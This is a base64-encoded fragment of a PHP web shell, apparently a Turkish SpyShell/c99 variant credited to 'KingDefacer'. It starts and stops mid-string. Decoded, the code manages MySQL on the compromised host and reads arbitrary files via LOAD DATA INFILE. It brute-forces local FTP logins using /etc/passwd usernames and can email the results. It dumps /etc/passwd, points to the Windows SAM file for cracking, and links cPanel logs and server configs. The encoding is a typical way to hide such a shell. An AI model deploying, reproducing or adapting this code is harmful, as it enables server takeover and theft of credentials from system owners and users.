JHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9DQogICAgIGVjaG8gIjwvdGFibGU+PC9jZW50ZXI+IjsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgfQ0KICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVydmFycyIpDQogICAgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVkFSSUFCTEVTIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXIgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gInByb2Nlc3NlcyIpDQogICAgew0KICAgICBpZiAoIWVtcHR5KCRraWxsKSkgeyRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOyAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkc3FsX3NvY2spOyBlY2hvICI8Yj5LaWxsaW5nIHByb2Nlc3MgIyIuJGtpbGwuIi4uLiBvay4gaGUgaXMgZGVhZCwgYW1lbi48L2I+Ijt9DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7DQogICAgIGVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+SUQ8L2I+PC90ZD48dGQ+PGI+VVNFUjwvYj48L3RkPjx0ZD48Yj5IT1NUPC9iPjwvdGQ+PHRkPjxiPkRCPC9iPjwvdGQ+PHRkPjxiPkNPTU1BTkQ8L2I+PC90ZD48dGQ+PGI+VElNRTwvYj48L3RkPjx0ZD48Yj5TVEFURTwvYj48L3RkPjx0ZD48Yj5JTkZPPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7IGVjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PHRkPiIuJHJvd1syXS4iPC90ZD48dGQ+Ii4kcm93WzNdLiI8L3RkPjx0ZD4iLiRyb3dbNF0uIjwvdGQ+PHRkPiIuJHJvd1s1XS4iPC90ZD48dGQ+Ii4kcm93WzZdLiI8L3RkPjx0ZD4iLiRyb3dbN10uIjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1wcm9jZXNzZXMma2lsbD0iLiRyb3dbMF0uIlwiPjx1PktpbGw8L3U+PC9hPjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfYWN0ID09ICJnZXRmaWxlIikNCiAgICB7DQogICAgICR0bXBkYiA9ICRzcWxfbG9naW4uIl90bXBkYiI7DQogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsNCiAgICAgaWYgKCEkc2VsZWN0KSB7bXlzcWxfY3JlYXRlX2RiKCR0bXBkYik7ICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsgJGNyZWF0ZWQgPSAhISRzZWxlY3Q7fQ0KICAgICBpZiAoJHNlbGVjdCkNCiAgICAgew0KICAgICAgJGNyZWF0ZWQgPSBmYWxzZTsNCiAgICAgIG15c3FsX3F1ZXJ5KCJPbHVzdHVyIFRBQkxFIGB0bXBfZmlsZWAgKCBgR296bGVuaW5lbiBkb3N5YSBndXZlbmxpIG1vZCBkYStvcGVuX2Jhc2VkaXJgIExPTkdCTE9CIE5PVCBOVUxMICk7Iik7DQogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7DQogICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdG1wX2ZpbGU7Iik7DQogICAgICBpZiAoISRyZXN1bHQpIHtlY2hvICI8Yj5Pa3VtYSBIYXRhc2kgKEVyaXNpbSBFbmdlbGxlbmRpISkhPC9iPiI7fQ0KICAgICAgZWxzZQ0KICAgICAgew0KICAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7fQ0KICAgICAgICRmID0gIiI7DQogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQ0KICAgICAgIGlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5Eb3N5YSBcIiIuJHNxbF9nZXRmaWxlLiJcIiB5b2sgdmV5YSBCbyQhPC9iPjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30NCiAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSB0bXBfZmlsZTsiKTsNCiAgICAgIH0NCiAgICAgfQ0KICAgICBteXNxbF9kcm9wX2RiKCR0bXBkYik7IC8vY29tbWVudCBpdCBpZiB5b3Ugd2FudCB0byBsZWF2ZSBkYXRhYmFzZQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KIGlmICgkc3FsX3NvY2spDQogew0KICAkYWZmZWN0ZWQgPSBAbXlzcWxfYWZmZWN0ZWRfcm93cygkc3FsX3NvY2spOw0KICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSl7JGFmZmVjdGVkID0gMDt9DQogIGVjaG8gIjx0cj48dGQ+PGNlbnRlcj48Yj55YXBtYWNpayhzYWh0ZSkgcm93czogIi4kYWZmZWN0ZWQuIjwvY2VudGVyPjwvdGQ+PC90cj4iOw0KIH0NCiBlY2hvICI8L3RhYmxlPiI7DQp9DQppZiAoJGFjdCA9PSAibWtkaXIiKQ0Kew0KIGlmICgkbWtkaXIgIT0gJGQpDQogew0KICBpZiAoZmlsZV9leGlzdHMoJG1rZGlyKSkge2VjaG8gIjxiPktsYXNvciB5YXAgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBPYmplIFphdGVuIFZhci4uIjt9DQogIGVsc2VpZiAoIW1rZGlyKCRta2RpcikpIHtlY2hvICI8Yj5LbGFzb3IgeWFwIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogR2lyaXMgSXppbiBWZXJtZWRpIjt9DQogIGVjaG8gIjxicj48YnI+IjsNCiB9DQogJGFjdCA9ICRkc3BhY3QgPSAibHMiOw0KfQ0KaWYgKCRhY3QgPT0gImZ0cHF1aWNrYnJ1dGUiKQ0Kew0KIGVjaG8gIjxiPkZ0cCBIaXpsaSBTaWZyZSBBbG1hIDpQIEJ5IEtpbmdEZWZhY2VyPC9iPjxicj4iOw0KIGlmICghd2luKSB7ZWNobyAiV2luZG93cyB0YSBDYWxpc21heiBoYWEgb25hIGdvcmVlZWUgU3B5SGFja1RlYU0gPGJyPjxicj4iO30NCiBlbHNlDQogew0KICBmdW5jdGlvbiBhc2hmdHBicnV0ZWNoZWNrKCRob3N0LCRwb3J0LCR0aW1lb3V0LCRsb2dpbiwkcGFzcywkc2gsJGZxYl9vbmx5d2l0aHNoKQ0KICB7DQogICBpZiAoJGZxYl9vbmx5d2l0aHNoKSB7JHRydWUgPSAoIWluX2FycmF5KCRzaCxhcnJheSgiL2Jpbi9mYWxzZSIsIi9zYmluL25vbG9naW4iKSkpO30NCiAgIGVsc2UgeyR0cnVlID0gdHJ1ZTt9DQogICBpZiAoJHRydWUpDQogICB7DQogICAgJHNvY2sgPSBAZnRwX2Nvbm5lY3QoJGhvc3QsJHBvcnQsJHRpbWVvdXQpOw0KICAgIGlmIChAZnRwX2xvZ2luKCRzb2NrLCRsb2dpbiwkcGFzcykpDQogICAgew0KICAgICBlY2hvICI8YSBocmVmPVwiZnRwOi8vIi4kbG9naW4uIjoiLiRwYXNzLiJAIi4kaG9zdC4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+QmFnbGFuaWxkaS4uICIuJGhvc3QuIiBpY2luICBHaXJpcyBcIiIuJGxvZ2luLiJcIiAmICBTaWZyZSBcIiIuJHBhc3MuIlwiPC9iPjwvYT4uPGJyPiI7CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkgICAgb2JfZmx1c2goKTsNCiAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgfQ0KICB9DQogIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogIHsNCiAgIGlmICghaXNfbnVtZXJpYygkZnFiX2xlbmdodCkpIHskZnFiX2xlbmdodCA9ICRuaXhwd2RwZXJwYWdlO30NCiAgICRmcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsNCiAgIGlmICghJGZwKSB7ZWNobyAiL2V0Yy9wYXNzd2QgLVNpZnJlIGxpc3Rlc2kgYWxpbmFtYWRpLiI7fQ0KICAgZWxzZQ0KICAgew0KICAgIGlmICgkZnFiX2xvZ2dpbmcpDQogICAgew0KICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30NCiAgICAgZWxzZSB7JGZxYl9sb2dmcCA9IGZhbHNlO30NCiAgICAgJGZxYl9sb2cgPSAiRlRQIEhpemxpIEJydXRlIChjYWxsZWQgU3BZc2hlbGwgIi4kc2h2ZXIuIikgQmFzbGFuYW4gIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7DQogICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHtmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgfQ0KICAgIG9iX2ZsdXNoKCk7DQogICAgJGkgPSAkc3VjY2VzcyA9IDA7DQogICAgJGZ0cHF1aWNrX3N0ID0gZ2V0bWljcm90aW1lKCk7DQogICAgd2hpbGUoIWZlb2YoJGZwKSkNCiAgICB7DQogICAgICRzdHIgPSBleHBsb2RlKCI6IixmZ2V0cygkZnAsMjA0OCkpOw0KICAgICBpZiAoYXNoZnRwYnJ1dGVjaGVjaygibG9jYWxob3N0IiwyMSwxLCRzdHJbMF0sJHN0clswXSwkc3RyWzZdLCRmcWJfb25seXdpdGhzaCkpDQogICAgIHsNCiAgICAgIGVjaG8gIjxiPkJhZ2xhbmlsZGkgLS0+Ii5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIiBhIGxvZ2luIFwiIi4kc3RyWzBdLiJcIiBWZSBzaWZyZSBcIiIuJHN0clswXS4iXCI8L2I+PGJyPiI7DQogICAgICAkZnFiX2xvZyAuPSAiQmFnbGFuaWxkaSAtLT4iLmdldGVudigiU0VSVkVSX05BTUUiKS4iIGEgbG9naW4gXCIiLiRzdHJbMF0uIlwiIHZlIFNpZnJlIFwiIi4kc3RyWzBdLiJcIiwgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsNCiAgICAgIGlmICgkZnFiX2xvZ2ZwKSB7ZnNlZWsoJGZxYl9sb2dmcCwwKTsgZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fQ0KICAgICAgJHN1Y2Nlc3MrKzsNCiAgICAgIG9iX2ZsdXNoKCk7DQogICAgIH0NCiAgICAgaWYgKCRpID4gJGZxYl9sZW5naHQpIHticmVhazt9DQogICAgICRpKys7DQogICAgfQ0KICAgIGlmICgkc3VjY2VzcyA9PSAwKSB7ZWNobyAiTm8gc3VjY2Vzcy4gYmFnbGFudGlsYXIhIjsgJGZxYl9sb2cgLj0gIk5vIHN1Y2Nlc3MuIGJhZ2xhbnRpbGFyIVxyXG4iO30NCiAgICAkZnRwcXVpY2tfdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0KTsNCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxiPkRvbmUhPC9iPjxicj5Ub3RhbCB0aW1lIChzZWNzLik6ICIuJGZ0cHF1aWNrX3QuIjxicj5Ub3BsYW0gQmFnbGFudGk6ICIuJGkuIjxicj5TdWNjZXNzLjogPGZvbnQgY29sb3I9Z3JlZW4+PGI+Ii4kc3VjY2Vzcy4iPC9iPjwvZm9udD48YnI+VW5zdWNjZXNzLjoiLigkaS0kc3VjY2VzcykuIjwvYj48YnI+Q29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iPGJyPiI7DQogICAgJGZxYl9sb2cgLj0gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuRG9uZSFcclxuVG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiJcclxuVG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIlxyXG5TdWNjZXNzLjogIi4kc3VjY2Vzcy4iXHJcblVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiJcclxuQ29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iXHJcbiI7DQogICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgaWYgKCRmcWJfbG9nZW1haWwpIHtAbWFpbCgkZnFiX2xvZ2VtYWlsLCJTcFlzaGVsbCB2LiAiLiRzaHZlci4iIHJlcG9ydCIsJGZxYl9sb2cpO30NCiAgICBmY2xvc2UoJGZxYl9sb2dmcCk7DQogICB9DQogIH0NCiAgZWxzZQ0KICB7DQogICAkbG9nZmlsZSA9ICR0bXBkaXJfbG9ncy4iYXNoc2hfZnRwcXVpY2ticnV0ZV8iLmRhdGUoImQubS5ZX0hfaV9zIikuIi5sb2ciOw0KICAgJGxvZ2ZpbGUgPSBzdHJfcmVwbGFjZSgiLy8iLERJUkVDVE9SWV9TRVBBUkFUT1IsJGxvZ2ZpbGUpOw0KICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwiZnRwcXVpY2ticnV0ZVwiPjxicj5SZWFkIGZpcnN0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9XCJmcWJfbGVuZ2h0XCIgdmFsdWU9XCIiLiRuaXhwd2RwZXJwYWdlLiJcIj48YnI+PGJyPlVzZXJzIG9ubHkgd2l0aCBzaGVsbD8mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZxYl9vbmx5d2l0aHNoXCIgdmFsdWU9XCIxXCI+PGJyPjxicj5Mb2dnaW5nPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX2xvZ2dpbmdcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj5Mb2dnaW5nIHRvIGZpbGU/Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sb2dmaWxlXCIgdmFsdWU9XCIiLiRsb2dmaWxlLiJcIiBzaXplPVwiIi4oc3RybGVuKCRsb2dmaWxlKSsyKihzdHJsZW4oJGxvZ2ZpbGUpLzEwKSkuIlwiPjxicj5Mb2dnaW5nIHRvIGUtbWFpbD8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2VtYWlsXCIgdmFsdWU9XCIiLiRsb2dfZW1haWwuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2VtYWlsKSsyKihzdHJsZW4oJGxvZ2VtYWlsKS8xMCkpLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkJydXRlIFlhcFwiPjwvZm9ybT4iOw0KICB9DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImQiKQ0Kew0KIGlmICghaXNfZGlyKCRkKSkge2VjaG8gIjxjZW50ZXI+PGI+UGVybWlzaW9uIEVuZ2VsbGVkaSE8L2I+PC9jZW50ZXI+Ijt9DQogZWxzZQ0KIHsNCiAgZWNobyAiPGI+VXphbnRpIEJpbGdpc2k6PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+IjsNCiAgaWYgKCEkd2luKQ0KICB7DQogICBlY2hvICI8dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOw0KICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkKSk7DQogICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQpKTsNCiAgICRyb3dbXSA9ICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJGQpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkZCkpOw0KICB9DQogIGVjaG8gIjx0cj48dGQ+PGI+UGVybWlzc2lvbnMoRW5nZWwpPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj48L2E+PHRyPjx0ZD48Yj5PbHVzdHVybWEgWmFtYW5pOjwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkdpcmlzIFphbWFuaTo8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5Nb2RpZml5ZSBaYW1hbmk6PC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gInBocGluZm8iKSB7QG9iX2NsZWFuKCk7IHBocGluZm8oKTsgYXNoc2hleGl0KCk7fQ0KaWYgKCRhY3QgPT0gInNlY3VyaXR5IikNCnsNCiBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciBHdXZlbmxpayBCaWxnaXNpOjwvYj48L2NlbnRlcj48Yj5EaXppbjogIi4kaG9wZW5iYXNlZGlyLiI8L2I+PGJyPiI7DQogaWYgKCEkd2luKQ0KIHsNCiAgaWYgKCRuaXhwYXNzd2QpDQogIHsNCiAgIGlmICgkbml4cGFzc3dkID09IDEpIHskbml4cGFzc3dkID0gMDt9DQogICBlY2hvICI8Yj4qbml4IC9ldGMvcGFzc3dkOjwvYj48YnI+IjsNCiAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX3MpKSB7JG5peHB3ZF9zID0gMDt9DQogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9lKSkgeyRuaXhwd2RfZSA9ICRuaXhwd2RwZXJwYWdlO30NCiAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cInNlY3VyaXR5XCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJuaXhwYXNzd2RcIiB2YWx1ZT1cIjFcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHQ9XCIgbmFtZT1cIm5peHB3ZF9zXCIgdmFsdWU9XCIiLiRuaXhwd2Rfcy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJuaXhwd2RfZVwiIHZhbHVlPVwiIi4kbml4cHdkX2UuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIlZpZXdcIj48L2Zvcm0+PGJyPiI7DQogICAkaSA9ICRuaXhwd2RfczsNCiAgIHdoaWxlICgkaSA8ICRuaXhwd2RfZSkNCiAgIHsNCiAgICAkdWlkID0gcG9zaXhfZ2V0cHd1aWQoJGkpOw0KICAgIGlmICgkdWlkKQ0KICAgIHsNCiAgICAgJHVpZFsiZGlyIl0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCR1aWRbImRpciJdKS4iXCI+Ii4kdWlkWyJkaXIiXS4iPC9hPiI7DQogICAgIGVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOw0KICAgIH0NCiAgICAkaSsrOw0KICAgfQ0KICB9DQogIGVsc2Uge2VjaG8gIjxicj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXNlY3VyaXR5Jm5peHBhc3N3ZD0xJmQ9Ii4kdWQuIlwiPjxiPjx1PkdldCAvZXRjL3Bhc3N3ZDwvdT48L2I+PC9hPjxicj4iO30NCiB9DQogZWxzZQ0KIHsNCiAgJHYgPSAkX1NFUlZFUlsiV0lORElSIl0uIlxyZXBhaXJcc2FtIjsNCiAgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCR2KSkge2VjaG8gIjxiPjxmb250IGNvbG9yPXJlZD5XaW5udCBTaWZyZXNpbmkgS2lyYW1henNzaW4gOiggKCIuJHYuIikgPC9mb250PjwvYj48YnI+Ijt9DQogIGVsc2Uge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPlNlbiB3aW5udCBTaWZyZXNpbmkgS2lyYWJpbGlyc2luIGRvc3R1bSA6KTxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPXNhbSZkPSIuJF9TRVJWRVJbIldJTkRJUiJdLiJcXHJlcGFpciZmdD1kb3dubG9hZFwiPjx1PjxiPkluZGlyPC9iPjwvdT48L2E+LCB2ZSBrdWxsYW4gbGNwLmNyYWNrKyA/LjwvZm9udD48L2I+PGJyPiI7fQ0KIH0NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvdXNlcmRvbWFpbnMiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPXVzZXJkb21haW5zJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPlNweUhhQ0tlUnouQ29NPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9DQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9YWNjb3VudGluZy5sb2cmZD0iLnVybGVuY29kZSgiL3Zhci9jcGFuZWwvIikuIlwiJmZ0PXR4dD48dT48Yj5DcGFuZWwgTG9nbGFyaW5pIEdvcjwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1odHRwZC5jb25mJmQ9Ii51cmxlbmNvZGUoIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYiKS4iJmZ0PXR4dFwiPjx1PjxiPkFwYWNoZSBLb25maWdpcmFzeW9uIChodHRwZC5jb25mKTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9odHRwZC5jb25mIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1odHRwZC5jb25mJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPkFwYWNoZSBLb25maWdpcmFzeW9uIChodHRwZC5jb25mKTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9zeXNsb2cuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9c3lzbG9nLmNvbmYmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+U3lzbG9nIEtvbmZpZ2lyYXN5b24gKHN5c2xvZy5jb25mKTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9tb3RkIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1tb3RkJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPkd1bmx1ayBNZXNhajwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9ob3N0cyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9aG9zdHMmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+SG9zdHM8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBmdW5jdGlvbiBkaXNwbGF5c2VjaW5mbygkbmFtZSwkdmFsdWUpIHtpZiAoIWVtcHR5KCR2YWx1ZSkpIHtpZiAoIWVtcHR5KCRuYW1lKSkgeyRuYW1lID0gIjxiPiIuJG5hbWUuIiAtIDwvYj4iO30gZWNobyAkbmFtZS5ubDJicigkdmFsdWUpLiI8YnI+Ijt9fQ0KIGRpc3BsYXlzZWNpbmZvKCJJc2xldGltIHNpc3RlbWkiLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvdmVyc2lvbiIpKTsNCiBkaXNwbGF5c2VjaW5mbygiS2VybmVsIHZlcnNpb24/IixteXNoZWxsZXhlYygic3lzY3RsIC1hIHwgZ3JlcCB2ZXJzaW9uIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJTaW5pZiBBZGkiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7DQogZGlzcGxheXNlY2luZm8oIlNpbmlmIGFkaSAoMikiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy8qLXJlYWxpc2UiKSk7DQogZGlzcGxheXNlY2luZm8oIklzbGVtY2kiLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvY3B1aW5mbyIpKTsNCiBkaXNwbGF5c2VjaW5mbygiUkFNIixteXNoZWxsZXhlYygiZnJlZSAtbSIpKTsNCiBkaXNwbGF5c2VjaW5mbygiSGFyZCBEaXNrIEFsYW5pIixteXNoZWxsZXhlYygiZGYgLWgiKSk7DQogZGlzcGxheXNlY2luZm8oIkxvY2FsIERpemluIixteXNoZWxsZXhlYygibHNhdHRyIC1hIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJEaXNrIFlhem